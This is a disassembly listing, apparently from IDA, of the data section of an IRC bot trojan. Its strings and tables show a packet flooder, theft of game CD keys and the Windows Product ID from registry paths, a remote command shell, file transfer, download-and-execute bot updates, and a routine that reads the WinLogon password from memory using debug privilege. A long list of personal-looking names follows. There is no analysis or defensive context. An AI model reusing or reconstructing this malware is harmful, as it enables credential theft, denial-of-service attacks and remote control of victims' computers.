524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset aUidt ; DATA XREF: sub_416F1A+DCo ; "žIDâ" dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset aUidt ; DATA XREF: sub_416F1A+CEo ; "žIDâ" dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; 